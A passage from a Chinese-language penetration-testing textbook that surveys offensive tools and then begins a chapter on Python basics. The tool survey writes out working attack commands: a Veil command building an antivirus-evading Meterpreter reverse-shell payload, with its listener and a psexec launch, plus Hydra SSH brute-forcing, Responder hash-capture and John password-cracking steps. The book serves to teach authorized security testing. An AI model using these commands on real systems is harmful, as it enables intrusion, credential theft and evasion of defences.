  • 如果凭据在内存中,请使用 Mimikatz 窃取它们,这是我们在下面介绍的一个工具(后期利用)

  • 如果令牌在内存中来自缓存会话,请使用 Incognito 窃取它们(后期利用)

  1. 通过 ping 域来识别域控制器(漏洞分析)。

  2. 从受损系统在域控制器上创建新用户(后期利用)。

  3. 从受损系统将新用户添加到域管理员组(后期利用)。

  4. 识别可以访问的关键数据的新位置(漏洞分析)。

现在,经验丰富的评估员通常会在可能的情况下完成与漏洞分析相关的必要活动,并及早编目数据。因此,在评估的早期阶段,会创建具有开放端口 445、DC IP 地址和其他详细信息的主机列表。这样,如果参与的是双盲评估的一部分,评估员可以在被发现之前迅速获得特权访问。现在,评估的方法和组织已经确定,我们需要看看目前使用的工具。

渗透测试工具

以下是在参与过程中使用的一些常见工具,以及它们应该如何和何时使用的示例。这些工具中的许多都有进一步的解释,在第二章之后,Python 脚本的基础。我们无法涵盖市场上的每个工具,以及它们应该何时使用的具体情况,但这里有足够的示例来提供扎实的知识基础。在本书中,可能需要多行来显示特别长的命令示例。这些命令将使用**字符来指示新行。如果这些命令被复制和粘贴,它们将正常运行,因为在 Linux 和 Unix 中,命令在回车后继续。

这些工具也是根据您最有可能获得最大利用价值的基础进行组织的。在审查这些工具之后,您将了解市场上有什么,并看到可能需要自定义 Python 脚本或工具的潜在空白。通常,这些脚本只是解析和以正确格式输出所需细节的桥梁代理。其他时候,它们自动化了繁琐和费力的过程;在阅读时请记住这些因素。

NMAP

网络映射器Nmap)是为管理员和安全专业人员创建的第一批工具之一。它提供了行业内一些最好的功能,可以快速分析目标,并确定它们是否有可以被利用的开放端口和服务。该工具不仅为我们安全专业人员提供了与 Luna 脚本相关的额外功能,它们可以充当小型 VMS,而且还提供了利用系统的手段。

就像这些还不足以使 Nmap 成为评估者和工程师工具包中的必备工具一样,Nmap 安全扫描器项目和insecure.org/已经为需要每天运行几次测试扫描的人设置了一个网站scanme.nmap.org/。除了允许新的评估者每天执行几次扫描外,这个网站还可以查看组织内部可访问的端口。如果您想自己测试一下,请尝试对该网站进行标准的全连接传输控制协议TCP)端口扫描。有关 Nmap 的其他详细信息将在第三章中讨论,使用 Nmap、Scapy 和 Python 识别目标。以下示例显示了如何对互联网上开放的前 10 个端口进行扫描(在执行此扫描之前,请阅读他们网站上的警告):

nmap –sT –vvv --top-ports 10 –oA scan_results scanme.nmap.org

Metasploit

2003 年,H.D. Moore 创建了著名的 Metasploit 项目,最初是用 Perl 编写的。到 2007 年,该框架完全改用 Ruby 重新编码;到 2009 年 10 月,他将其出售给了 Nexpose 的创建者 Rapid7。多年后,由于 H.D. Moore 的出售规定,该框架仍然是一个免费的产品。Rapid7 从该框架中创建了一个专业产品,名为 Metasploit Pro。

专业版解决方案具有一些框架没有的功能,例如与 Nexpose 的集成、本地入侵防御系统IPS)绕过有效载荷、Web图形用户界面GUI)和多用户功能。这些额外功能的价格相当昂贵,但根据您的市场,一些客户要求所有工具都需要付费,因此请记住专业版。如果您不需要为 Metasploit 付费,也不需要额外的功能,那么框架就足够了。

请记住,Metasploit Pro 中的 IPS 绕过工具内置了许多不同的规避方法。其中一个特点是利用代码的结构每次略有不同。因此,如果 IPS 绕过一次失败,可能在同一台主机上再次运行时成功。这并不意味着如果您运行了 10 次,前九次失败了,第十次就一定会成功。因此,请注意并学习与psexec和系统利用相关的错误消息。

如果需要的话,可以从 Metasploit 运行整个评估;虽然不建议这样做,但工具确实有这个能力。Metasploit 是模块化的;事实上,Metasploit 中的组件被称为模块。模块分为以下几类:

  • 辅助模块

  • 利用模块

  • 后置模块

  • 有效载荷模块

  • NOP 模块

  • 编码器模块

辅助模块包括扫描器、暴力破丨解丨器、漏洞评估工具和服务器模拟器。利用模块就是可以运行以利用接口服务或其他解决方案的工具。后置模块旨在提升权限、提取数据或与系统上的当前用户交互。有效载荷提供了一种封装的交付工具,一旦获得对系统的访问权限就可以使用。当配置利用模块时,通常需要配置有效载荷模块,以便返回一个 shell。

无操作NOP)模块生成对特定硬件架构无效的操作。在创建或修改利用时,这些模块非常有用。Metasploit 中的最后一种模块类型是编码器模块。对编码器的用途存在着巨大的误解。事实上,它们用于通过改变有效载荷的结构来使有效载荷的执行更加可靠,以去除某些类型的字符。这会重新格式化原始有效载荷的操作码,并使有效载荷变得更大,有时甚至更大。

偶尔,负载结构的变化意味着它将绕过严格依赖特定签名的 IPS。这导致许多评估者认为编码是为了绕过防病毒软件;这只是编码的副产品,而不是意图。今天,编码很少绕过企业级 IPS 解决方案。像 Veil 这样的其他产品为这个困境提供了更合适的解决方案。由于大多数利用可以引用外部负载,最好寻求像 Veil 这样的外部解决方案,即使你使用的是 Metasploit 的专业版。在某些情况下,Metasploit Pro 的 IPS 绕过能力将无法使用;在这种情况下,可能需要其他工具。Metasploit 将在本书的其他章节中详细介绍。

Veil

这个防病毒软件逃避套件有多种方法来生成负载。这些负载类型利用了有经验的评估者和恶意行为者多年来手动使用的方法。这包括使用高级加密标准AES)加密负载,对它们进行编码,并随机化变量名称。然后可以将这些细节包装在 PowerShell 或 Python 脚本中,以使生活更加轻松。

Veil 可以通过命令行界面CLI)或类似于 Metasploit 的控制台启动。例如,以下命令显示了创建一个 PyInjector 利用的 CLI 的用法,它拨打回监听主机的 80 端口;如果你想测试这个,确保你用你的实际 IP 替换"yourIP"。

./Veil.py -l python -p AESVirtualAlloc -o \
python_payload --msfpayload \
windows/Meterpreter/reverse_tcp --msfoptions \
LHOST=yourIP LPORT=80

现在,继续启动你的 Metasploit 控制台,并使用以下命令启动监听器。这将启动控制台;确保等待它启动。此外,它在你的主机上设置了一个监听器,所以确保你用你的实际 IP 地址替换"yourIP"。监听器将在后台运行,等待返回的会话。

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 80
set lhost yourIP
exploit -j

将负载移动到目标 Windows 系统并运行负载。只要没有配置问题,监听主机的端口 80 上没有其他服务运行,并且没有阻止被利用主机和监听器之间连接到端口 80 的任何东西,你应该会在你的 Kali 主机上看到一个会话生成。

那么,如果你有这些自定义利用,你如何将它们与真正的 Metasploit 利用结合使用呢?简单,只需调整变量指向它们。以下是在 Metasploit 中使用psexec模块的示例。确保将 targetIP 更改为目标 Windows 系统的 IP。设置系统上的本地管理员的用户名和本地管理员的密码。最后,将自定义EXE路径设置为你的python_paload.exe,你应该会看到在你的监听器上生成一个 shell。

use exploit/windows/smb/psexec
set rhost targetIP
set SMBUser username
set password password
set EXE::Custom /path/to/your/python_payload.exe
exploit -j

Burp Suite

Burp Suite 是透明代理或用于直接交互和操纵发送到浏览器和从浏览器发送的网络流的工具时的标准。这个工具有一个专业版,增加了一个不错的网络漏洞扫描器。在使用它时应该小心,因为它可能导致多次提交论坛、电子邮件和交互。

其 Spider 工具也是如此,它与范围内的 Web 应用程序交互,并将它们映射到类似于 Google 和 Bing 的 Web 爬虫。确保在使用这些工具时,最初禁用自动提交和登录,直到你更好地了解这些应用程序。更多关于 Burp 和类似的 Web 工具将在第六章中介绍,使用 Python 评估 Web 应用程序。其他类似的工具包括Zed Attack ProxyZAP),它现在还包含了名为 DirBuster 的未链接文件夹和文件研究工具。

Hydra

Hydra 是一种服务或接口字典攻击工具,可以识别可能提供访问权限的有效凭据。Hydra 是多线程的,这意味着它可以同时评估多个猜测的服务,大大加快了攻击和产生的噪音。例如,以下命令可用于攻击具有 IP 地址192.168.1.10的主机上的Secure ShellSSH)服务:

hydra -L logins.txt -P passwords.txt -f -V 192.168.1.10 ssh

此命令使用用户名列表和密码列表,在第一次成功时退出,并显示尝试的每个登录组合。如果您只想测试单个用户名和密码,命令将更改为分别使用小写lp。相应的命令如下:

hydra -l root -p root -f -V 192.168.1.10 ssh

Hydra 还具有针对服务和网站的身份验证接口进行暴力攻击的能力。行业中有许多其他具有类似功能的工具,但大多数评估者使用 Hydra,因为它具有广泛的功能和协议支持。有时 Hydra 不适用,但通常其他工具也无法满足需求。发生这种情况时,我们应该考虑创建一个 Python 脚本。有关凭据攻击的其他详细信息在第四章中有所涵盖,使用 Python 执行凭据攻击

约翰·里波特

约翰·里波特(JtR),或者大多数人称之为约翰,是市场上最好的破解软件之一,可以攻击加盐和未加盐的哈希。约翰最大的好处之一是它可以与大多数哈希一起使用。约翰有能力从标准输出和文件格式中识别哈希类型。如果仅提供哈希文件而没有参数,约翰将尝试使用其标准方法破解哈希。首先尝试单一破解模式,然后是单词列表模式,最后是增量模式。

提示

下载示例代码

您可以从您在www.packtpub.com的帐户中下载示例代码文件,用于您购买的所有 Packt Publishing 图书。如果您在其他地方购买了这本书,您可以访问www.packtpub.com/support并注册,文件将直接通过电子邮件发送给您。

注意

盐是伪随机数生成器PRNG)的输出,已编码以产生相对随机的字符。盐被注入到散列密码的过程中,这意味着每次散列密码时,都会以不同的格式进行。然后将盐与哈希一起存储,以便在认证期间输入凭据的比较算法能够正常工作,需要相同的盐才能产生相同的哈希。这为散列算法增加了额外的熵,提供了额外的安全性,并减轻了大多数彩虹表攻击。

单一破解攻击从哈希文件中获取信息,搅乱明文单词,然后将细节作为密码与一些其他规则集一起使用。单词列表模式就是这样;它使用默认单词列表。最后,增量模式以暴力攻击的方式运行每个字符可能性。如果您真的需要相对增量或暴力攻击模式,最好使用独立的运行 oclHashcat 的破解服务器。

注意

密码破丨解丨器以以下两种方法之一工作:通过实时对测试密码进行哈希,或者通过取预先计算的哈希并将其与测试哈希进行比较。实时哈希攻击允许评估者破解在原始哈希过程中进行盐化或未盐化的密码。预先计算的哈希攻击速度更快,但除非在预计算期间已知盐,否则无法破解盐化密码。预先计算攻击使用称为彩虹表的链接表。实时密码攻击使用字典或单词列表,这些列表可以在实时中变异或在每个字符位置上以不同的字符集递增。这分别描述了字典攻击和暴力攻击。

以下是在John文件夹中针对hash文件运行John的示例,如果hashfile位于那里。

./john hashfile

以单用户模式运行John来对hashfile进行破解,运行以下命令:

./john --single hashfile

要使用单词列表运行John,请使用以下命令:

./john --wordlist=password_list hashfile

您可以同时运行规则来对字符进行排列和替换。

./john --wordlist=password_list --rules hashfile

John 的真正优势在于能够在大多数系统上使用,具有强大的排列规则,并且非常用户友好。John 擅长破解大多数标准操作系统密码哈希。它还可以轻松地表示易于与用户名和原始哈希匹配的详细信息。

注意

与 John 相比,oclHashcat 没有本地能力以简单格式匹配破解的详细信息与原始数据。这使得提供与唯一哈希相关的密码破解统计数据更加困难。当提供的哈希可能来自多个来源并与同一帐户关联时,这一点尤为真实,因为它们可能会使用不同的盐进行调整。请记住,大多数组织希望在最终报告中获得破解统计数据。

以下命令演示了如何使用 John 显示密码破解结果:

./john --show hashfile

John 的一个独特能力是能够从单词列表中生成排列密码,尤其是在与 Cewl 一起使用时,可以帮助构建坚实的破解列表。以下是如何使用 John 创建一个只包含唯一单词的排列密码列表的示例:

./john --wordlist=my_words --rules --stdout | unique my_words_new

使用 John 破解 Windows 密码

使用 John 破解密码最大的优势是对已经以本地区域网络LAN)管理器(MAN)或(LM)格式进行哈希的密码进行破解。LM 哈希是一种弱哈希形式,可以存储长达 14 个字符的密码。密码被分成两个部分,每个部分最多七个字符,并且以大写格式呈现。破解这种类型的哈希时,您必须破解 LM 哈希,以将大写密码的两个部分转换为正确大小写的单个密码。

我们通过破解 LM 哈希,然后将这个破解的密码作为单词列表与启用排列规则的 John 一起运行。这意味着密码将被用作单词来攻击不同格式的新技术 LMNTLM)哈希。这允许更强大的 NTLM 哈希更快地被破解。这可以通过名为LM2NTCRACK的 Perl 脚本相对自动地完成,但您也可以使用 John 手动完成,并且也会取得很大成功。

您可以从网站(例如www.tobtu.com/lmntlm.php)创建一个喜欢的密码的测试哈希。我从 test 密码生成了 pwdump 格式,并将用户名更改为 Administrator。

Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

确保您将复制的密码作为一行并将其放入文件中。以下命令是基于hash文件命名为hashfile并放置在正在运行测试的John目录中的想法设计的。

./john --format=lm hashfile

一旦密码被破解,你可以直接从输出中复制它,并将其放入一个名为my_wordlist的新文件中。你也可以使用已经演示过的命令显示破解哈希的密码。将密码放入文件的简单方法是将echo重定向到文件中。

echo TEST > my_wordlist

现在,使用这个单词列表对输入数据执行带规则的字典攻击,以排列这个单词。这将允许你找到正确大小写的密码。

./john -rules --format=nt --wordlist=my_wordlist hashfile

以下屏幕截图突出了使用先前描述的技术来破解这个哈希:

使用 John 破解 Windows 密码

oclHashcat

如果你有一个专用的密码破丨解丨器,或者一个拥有强大图形处理单元GPU)的系统,oclHashcat 是一个不错的选择。该工具可以利用适合的受众可用的强大处理能力快速破解密码哈希。需要牢记的重要一点是,oclHashcat 并不像 John the Ripper 那样简单直观,但它具有强大的暴力破解能力。该工具具有配置通配符的能力,这意味着破解密码的动态可以非常具体。

提示

支持无 GPU 破解的 oclHashcat 版本称为 Hashcat。这个破解工具在密码破解方面很快超过了 John,但需要更多的研究和培训才能使用。随着经验的积累,你应该转向使用 Hashcat 或 oclHashcat 进行破解。

Ophcrack

这个工具最著名的是作为一个启动盘攻击工具,但它也可以作为一个独立的彩虹表破丨解丨器使用。Ophcrack 可以直接刻录到可启动的通用串行总线USB)驱动器或光盘CD)中。当放置在没有全盘加密FDE)的 Windows 系统中时,该工具将从操作系统中提取哈希。这是通过引导到一个 LiveOS 或在内存中运行的操作系统来完成的。该工具将尝试用基本的表来破解哈希。大多数情况下,这些表会失败,但哈希本身可以安全地从主机复制到攻击盒中。然后可以使用诸如 John 或 oclHashcat 之类的工具离线破解这些哈希。

Mimikatz 和 Incognito

这两个工具都可以在 Meterpreter 会话中本地运行,并且每个工具都提供了与 Windows 主机会话交互和利用的手段。Incognito 允许评估者通过模拟用户缓存的凭据来与内存中的令牌交互。Mimikatz 允许评估者直接提取内存中存储的凭据,这意味着用户名和密码直接暴露出来。Mimikatz 还具有针对使用诸如 SysInternals ProcDump 等工具生成的内存转储离线运行的额外功能。

提示

Mimikatz 有许多版本,我们在本书中介绍的是 Meterpreter 中的一个例子。

SMBexec

这个工具是一个由 Ruby 开发的工具套件,它利用 PtH 攻击、Mimikatz 和哈希转储的组合来利用网络。SMBexec 使接管网络变得非常容易,因为它提供了一个控制台界面,只需要一个初始哈希和用户名或凭据对,以及一个网络范围。该工具将自动尝试访问资源,提取内存中的凭据详细信息、缓存详细信息和存储的哈希。SMBexec 的问题在于 Ruby Gem 的不一致可能导致这个工具表现不稳定,并且可能导致其他工具如 Metasploit 甚至整个 Kali 实例崩溃。如果要使用 SMBexec,一定要创建一个专门的虚拟机来运行这个工具。

Cewl

Cewl 是一个网络爬虫工具,它从网站中解析单词,唯一地识别它们的实例,并将它们输出到文件中。像 Cewl 这样的工具在开发定制的目标密码列表时非常有用。Cewl 具有许多功能,包括针对详细信息的定向搜索以及工具将挖掘的深度的限制。Cewl 基于 Ruby,通常与 SMBexec 和其他 Ruby 产品一样存在问题。

Responder

Responder 是一个 Python 脚本,可以让评估人员通过Web 代理自动发现WPAD)的错误配置将代理请求重定向到攻击者的系统。它还可以接收网络 NTLM 或 NTLMv2 挑战响应哈希。这是通过利用本地启用的本地链接多播名称请求LLMNR)和网络基本输入输出系统NetBIOS名称服务NB-NS)来完成的。

Responder 的使用非常简单;用户只需在与目标相同的广播域内的网络中。执行以下命令将在用户的 Internet Explorer 会话中创建一个弹出窗口。它将请求他/她的域凭据以允许他/她继续;这种攻击还意味着 NTLMv2 受保护的哈希将从针对 LLMNR 和 NB-NS 请求的攻击中提供。确保将“yourIP”替换为您的实际 IP 地址。

python Responder.py -I yourIP -w -r -f -v -F

您还可以强制 Web 会话返回基本身份验证,而不是 NTLM 响应。当 WPAD 看起来已在环境中得到缓解时,这是有用的。这意味着您通常会从针对 LLMNR 和 NB-NS 请求的攻击中收到 NTLMv2 挑战响应哈希。

python Responder.py -I yourIP -r -f -v -b

Responder 攻击已成为大多数内部评估的主要内容。WPAD、LLMNR 和 NB-NS 在大多数环境中都是普遍的错误配置,应尽可能进行评估。这些漏洞通常被评估人员和恶意行为者所利用。

theHarvester 和 Recon-NG

这些工具专门用于识别与开源情报OSINT)收集相关的数据。theHarvester 工具基于 Python,可以很好地从搜索引擎和社交媒体中找到详细信息,但 Recon-NG 是新生力量。Recon-NG 是一个基于控制台的框架,也是用 Python 创建的,可以查询多个信息库。这种扩展功能意味着 Recon-NG 现在通常是评估人员首选的工具。Recon-NG 并没有取代 theHarvester,但除非 Recon-NG 没有找到足够的细节,否则通常不会使用 theHarvester。

pwdump 和 fgdump

与大多数像 Mimikatz 这样的工具相比,这些工具已经很老了,但它们在行业中非常知名,许多密码破解工具都是基于它们的输出格式。事实上,Metasploit 的hashdumpsmart_hashdump以所谓的pwdump格式输出系统哈希。这些哈希可以直接从会话中提取并放入文件中,然后通过使用前面提供的本机命令示例运行John

Netcat

Netcat 或网络连接,也称为nc,是最古老的评估和管理工具之一。它旨在通过提供 IP 地址、端口和协议直接与端口和服务进行交互。它还可以传输文件并建立主机之间的会话。由于这个工具的所有功能,它通常被称为数字瑞士军刀,被评估人员和管理员广泛使用。

提示

SANS 研究所有一份关于 netcat 的绝妙备忘录,突出了其大部分功能,可以在以下网址找到:

pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf

Sysinternals 工具

这套工具包最初由 Wininternals Software LP 在得克萨斯州奥斯汀开发。这些工具为管理员和其他专业人士提供了在大型域中处理、维护和控制 Windows 系统的能力。这些工具提供的功能并不是 Windows 的本机功能;微软意识到了这一点,并在 2006 年收购了该公司。这些工具是免费向公众开放的,值得注意的是,许多黑客工具是基于最初在这套工具包中创建的概念构建的。

这套工具包中使用的一些工具示例包括procdump用于转储内存和提取凭据。psexec工具执行 PtH 或执行远程进程以与远程主机建立会话,并提供与pskillpslist一起的进程交互和列表功能。值得注意的是,这些工具是由管理员使用的,通常是白名单。因此,虽然许多黑客工具被 IPS 阻止,但这些工具通常不会。因此,当一切都失败时,始终要像一个恶意管理员一样思考,因为利用这些功能是大多数恶意行为者所做的关键。

总结

本章重点讨论和定义了渗透测试以及为什么需要它。基于这个定义,描述了 PTES 框架,它为新的评估者提供了在实际参与中建立知识的手段。为了验证这些知识,我们探讨了一个示例参与如何在主要执行阶段中展开。最后,列出并解释了在各种评估中使用的主要工具,其中许多将在接下来的章节中通过现实示例进一步解释。现在您已经了解了渗透测试及其方法论,我们将开始学习 Python 的强大之处以及启动和运行它有多么容易。

第二章:Python 脚本的基础知识

在开始编写你的第一个 Python 脚本之前,应该先了解一些概念。现在学习这些内容将有助于你将来更快地开发代码。这将提高你作为渗透测试人员的能力,或者理解评估人员在创建实时自定义代码时在做什么以及你应该问什么问题。你还应该了解如何创建脚本以及你试图实现的目标。你会经常发现你的脚本会随着时间而变化,目的可能会改变。这可能是因为你意识到脚本的真正需求可能不存在,或者有一个特定功能的现有工具。

许多脚本编写者会觉得沮丧,因为他们可能已经花了很多时间在一个项目上,但最终发现这个工具具有更高级工具的重复功能。不要把这看作是一个失败的项目,而是把这个活动看作是一个经历,在这个过程中你学到了一些最初不知道的新概念和技术。此外,无论何时你在开发代码片段时,都要时刻记在心里,这些代码片段可以在将来的其他项目中使用。

因此,尽量编写清晰的代码,用注释说明你在做什么,并使其模块化,这样一旦学会了如何构建函数,它们可以在将来的其他脚本中被剪切和粘贴。这个旅程的第一步是以高层次描述计算机科学词汇表,这样你就可以理解将来的章节或其他教程。如果不理解这些基本概念,你可能会误解如何实现你想要的结果。

注意

在运行本书中的任何脚本之前,我建议你在 git 存储库上运行设置脚本,这将为你的 Kali 实例配置所有必要的库。该脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/setup.sh找到。

理解解释型语言和编译型语言之间的区别

Python、Ruby 和 Perl 等语言都是解释型语言,这意味着代码在执行脚本时会被转换为机器语言并运行。需要在运行之前编译的语言,比如 Cobol、C 或 C++,可能更有效率和更快,因为它在执行之前被编译,但这也意味着代码通常不太可移植。由于编译代码是为特定环境生成的,当你需要在异构环境中移动时,它可能不太有用。

注意

异构环境是一个具有多个系统类型和不同发行版的环境。因此,可能会有多个 Unix/Linux 发行版、Mac OS 和 Windows 系统。

解释型代码通常具有可移植性的好处,只要解释器可用。因此,对于 Python 脚本,只要安装了解释器并且库是本地可用的,脚本就应该可以运行。始终记住环境中会有特殊情况,在使用脚本之前,应该在类似的测试环境中进行彻底测试。

那么为什么你应该学习 Python 而不是其他脚本语言呢?我在这里不做这个论点,原因是最好的评估人员使用他们所评估的环境中可用的工具。你将编写对评估环境有用的脚本,Python 非常适合这样做,但当你获得对系统的访问权限时,最好使用可用的工具。

高度安全的环境可能会阻止您使用渗透框架,或者评估规则可能会做同样的事情。当这种情况发生时,您必须查看系统上可用的内容并继续前进。如今,新一代 Windows 系统使用 PowerShell 进行攻击。在当前的 Mac、Linux、Unix 和 Windows 操作系统中,尤其是在开发环境中,您可以找到 Python 的版本。在 Web 服务器上,您会发现 Ruby、Python 或 Perl。在所有形式的操作系统上,您都会找到本机 shell 语言。它们提供了许多功能,但通常具有过时的语言结构,需要比其他脚本语言更多的代码行来完成相同的任务。这些 shell 语言的示例包括 Bourne-again Shell(BASH)、Korn Shell(KSH)、Windows 命令 Shell 和等效物。

在大多数渗透系统中,您会发现所有的语言,因为大多数黑客笔记本电脑或 HackTops 使用多个虚拟机(VMs)和许多操作系统。旧的评估工具是用 Perl 编写的,因为该语言在当时提供了其他解释语言无法提供的多种功能。新工具通常是用 Ruby 和 Python 创建的。事实上,今天正在创建的许多库都是为了改进这些语言的能力,特别是为了评估组织被恶意行为者威胁的潜在可行性。

提示

请记住,您的 HackTop 有多个虚拟机,不仅提供攻击工具,还提供一个安全测试平台来测试您的脚本。在您的 HackTop 上恢复虚拟机的快照很容易,但是告诉客户为什么您使用未经测试的脚本损坏了他们的业务关键组件却不容易。

编译语言并非毫无价值;许多工具是用 C、C++和 Java 创建的。这些类型的工具的示例包括 Burp Suite、Cain & Abel、DirBuster、Zed Attack Proxy(ZAP)、CSRFtester 等。您可能会注意到,这些工具中的大多数最初是在评估环境的早期创建的。随着系统变得更加强大和解释器变得更加高效,我们看到其他工具转移到了解释语言而不是编译语言。

那么这里的教训是什么?尽可能多地学习,以在尽可能多的环境中操作。这样,当遇到障碍时,您可以返回到代码并脚本化以获得必要的访问级别。

Python-优点和缺点

Python 是创建可实现切实结果的工作代码的最简单的语言之一。事实上,Python 具有本地交互式解释器,通过它可以直接测试代码,只需在 CLI 中执行单词python。这将带来一个界面,可以在尝试编写脚本之前测试代码的概念。此外,这个界面不仅允许测试新概念,还允许导入模块或其他脚本作为模块,并使用它们创建强大的工具。

Python 的这种测试能力不仅允许评估者验证概念,还可以避免处理繁琐的调试器和测试用例,快速原型化攻击代码。当参与项目并确定特定的攻击训练是否能够及时产生有用的结果时,这一点尤为重要。最重要的是,使用 Python 和导入特定库通常不会破坏整个工具套件,卸载特定库也非常容易。

注意

为了维护客户环境的完整性,你应该避免在客户系统上安装库。如果有必要这样做,确保你与你的联系人一起工作,因为可能会产生意想不到的后果。这也可能被视为违反组织的系统开发生命周期SDLC)和其变更控制流程。最终结果是,你可能会为客户创造比原始评估意图更多的风险。

Python 的语言结构虽然与许多其他形式的编码不同,但非常简单。阅读 Python 类似于阅读一本书,但有一些细微的注意事项。在撰写本书时,基本上有两种不同形式的 Python 开发树——Python 2.X 和 Python 3.X。大多数评估工具在 2.X 版本上运行,这也是我们将重点关注的,但是语言版本的改进基本上已经停止。你可以编写适用于两个版本的代码,但这需要一些努力。

实质上,Python 3.X 版本已经开发成更加面向对象OO),这意味着为它编码意味着专注于面向对象的方法和属性。这并不是说 2.X 不是面向对象的;只是它没有 3.X 版本发展得那么好。最重要的是,一些库与两个版本都不兼容。

信不信由你,Python 脚本不完全兼容的最常见原因是内置的print函数。

注意

在 Python 2.X 中,print是一个语句,在 3.X 中,它是一个函数,你将在下面看到。在本书中,单词语句和函数的使用可能是可以互换的,但理解它们之间的区别是构建版本无关脚本的关键。

尝试使用print在屏幕上打印一些东西可以通过两种方式完成。一种是使用包裹在参数中,另一种是不使用它们。如果使用包裹在参数中,它与 2.X 和 3.X 兼容;如果不是,那么它只能与 2.X 一起使用。

以下示例显示了一个仅适用于 2.X 的print函数的样子:

print "You have been hacked!"

这是一个与 2.X 和 3.X Python 解释器兼容的print函数的示例:

print("You have been hacked!")

在你开始创建脚本之后,你会注意到你在脚本中经常使用print函数。因此,在大型脚本中进行大规模的文本替换可能是费力且容易出错的,即使使用自动化方法也是如此。例如,包括sedawk和其他数据处理工具。

随着你成为一个更好的评估者,你应该努力编写你的脚本,使它们可以在任何一个版本中运行。原因是,如果你妥协了一个环境,你需要一个自定义脚本来完成一些后渗透活动,你不会希望因为版本不兼容而减慢速度。开始的最佳方式是确保你使用与 Python 两个版本兼容的print函数。

注意

面向对象编程意味着语言支持可以根据需要创建和销毁的对象来完成任务。已经开发了整个培训课程来解释和扩展面向对象的概念。这些概念的深入解释超出了本书的范围,但建议进一步学习。

除了面向对象的思维过程和支持面向对象的代码的构建之外,还有创建“Python 化”或“Pythonic 脚本”。这不是虚构的;相反,它是一种定义创建和编写 Python 脚本的正确方法。你可以以许多方式编写 Python 脚本,多年来,最佳实践已经发展。这就是所谓的Pythonic,因此,我们应该始终努力以这种方式编写。原因是,当我们作为贡献者向社区提供脚本时,它们更容易阅读、维护和使用。

注意

Pythonic 是一个很好的概念,因为它涉及到影响其他语言的采用和社区中不良实践的一些最重要的事情。

Python 交互式解释器与脚本

Python 语言有两种使用方式。一种是通过交互式解释器,允许快速测试函数、代码片段和想法。另一种是通过一个完整的脚本,可以保存并在不同系统之间传输。如果你想尝试交互式解释器,只需在命令行中输入python

注意

交互式解释器在不同操作系统中的功能方式相同,但与系统交互的库和调用函数可能不同。如果引用了特定位置,或者命令和/或库使用特定于操作系统的功能,功能将不同。因此,在脚本中引用这些细节将大大影响其可移植性,因此不被认为是一种主流做法。

环境变量和 PATH

这些变量对于执行 Python 编写的脚本很重要,但不是用于编写脚本。如果它们没有配置,Python 二进制文件的位置必须通过其完全限定的路径位置引用。例如,在 Windows 中,没有声明环境变量的情况下执行 Python 脚本的示例:

C:\Python27\python wargames_print.py

如果脚本顶部没有列出对正确解释器的引用,并且文件在当前目录中,则在 Linux 或 Unix 中相当于以下内容:

/usr/bin/python ./wargames_print.py

在 Windows 中,如果环境变量已设置,只需输入python和脚本名称即可执行脚本。在 Linux 和 Unix 中,我们在脚本顶部添加一行以使其更具可移植性。对我们(渗透测试人员)的好处是,这使得脚本在许多不同类型的系统上都很有用,包括 Windows。这行在 Windows 操作系统中被忽略,因为它被视为注释。所有 Python 脚本的顶部应包含以下引用行:

#!/usr/bin/env python

这行让操作系统根据PATH环境变量中设置的内容确定正确的解释器来运行。在互联网上的许多脚本示例中,你可能会看到对解释器的直接引用,比如/usr/bin/python。这不被认为是一种良好的做法,因为它会使代码不够可移植,并且更容易出现潜在的系统更改错误。

提示

设置和处理PATH和环境变量对每个操作系统都是不同的。有关 Windows,请参阅docs.python.org/2/using/windows.html#excursus-setting-environment-variables。对于 Unix 和 Linux 平台,详细信息可以在docs.python.org/2/using/unix.html#python-related-paths-and-files找到。此外,如果有一天需要为特定工具创建特殊的环境变量,可以在docs.python.org/2/using/cmdline.html找到详细信息。

理解动态类型语言

Python 是一种动态类型的语言,这意味着很多东西,但最关键的方面是变量或对象的处理方式。动态类型的语言通常与脚本语言等同,但这并不总是如此,需要明确。当你编写脚本时,这对你的意义是变量在运行时被解释,因此它们不必按大小或内容定义。

第一个 Python 脚本

现在你对 Python 是什么有了一个基本的概念,让我们创建一个脚本。我们不使用著名的 Hello World! 介绍,而是使用一个文化电影的例子。脚本将定义一个函数,该函数将打印出 1983 年文化经典电影 WarGames 中的一句名言。有两种方法可以做到这一点,如前面提到的;第一种是通过交互式解释器,第二种是通过脚本。打开交互式解释器并执行以下命令:

print("Shall we play a game?\n")

前面的打印语句将显示代码执行成功。要退出交互式解释器,可以输入exit(),或者在 Windows 中使用 Ctrl + Z,在 Linux 中使用 Ctrl + D。现在,在你喜欢的编辑工具中创建一个脚本,比如 vi、vim、emacs 或 gedit。然后将文件保存在 /root/Desktop 中,命名为 wargames_print.py

#!/usr/bin/env python
print("Shall we play a game?\n")

保存文件后,使用以下命令运行它:

python /root/Desktop/wargames_print.py

你将再次看到脚本执行相同的结果。在这个例子中要注意一些事项。python 脚本是通过引用完全限定的路径来运行的,以确保调用正确的脚本,无论位置如何。如果脚本驻留在当前位置,可以以以下方式执行:

python ./wargames_print.py

提示

Kali 不需要本地执行这些脚本的 ./,但养成这个习惯是很好的,因为大多数其他 Linux 和 Unix 操作系统都需要。如果你不习惯这种做法,而且在评估时有点睡眠不足,你可能意识不到你的脚本为什么一开始没有执行。这种技巧可以在多人团队合作中避免一些尴尬。

开发脚本和识别错误

在我们开始创建大规模的脚本之前,你需要了解可能产生的错误。如果你开始创建脚本并产生了一堆错误,你可能会感到沮丧。请记住,Python 在指导你需要查看的内容方面做得相当不错。然而,错误的产生者通常要么就在引用的行之前,要么就是调用的函数。这可能会产生误导,为了防止沮丧,你应该了解 Python 可能在错误中引用的定义。

保留字、关键字和内置函数

保留字、关键字和内置函数也被称为禁用,这意味着这些名称不能用作变量或函数。如果重复使用这些单词或函数,将会显示错误。Python 中本地设置了一些保留字和内置函数,取决于你使用的版本,它们可能会发生变化。现在你不必太担心这个问题,但如果你看到与变量或值的定义相关的错误,要考虑到你可能使用了关键字或内置函数。

注意

关于关键字和内置函数的更多细节可以在 docs.python.org/2/library/keyword.html 找到。

以下是一些 Python 关键字的示例和简要定义。这些将在本章的其余部分详细描述:

示例关键字 目的
for 一种用于迭代的 Python 循环类型
def 在当前脚本中创建的函数的定义
if 评估语句并确定结果行动的方法
elif if 语句的后续评估,允许超过两种不同的结果
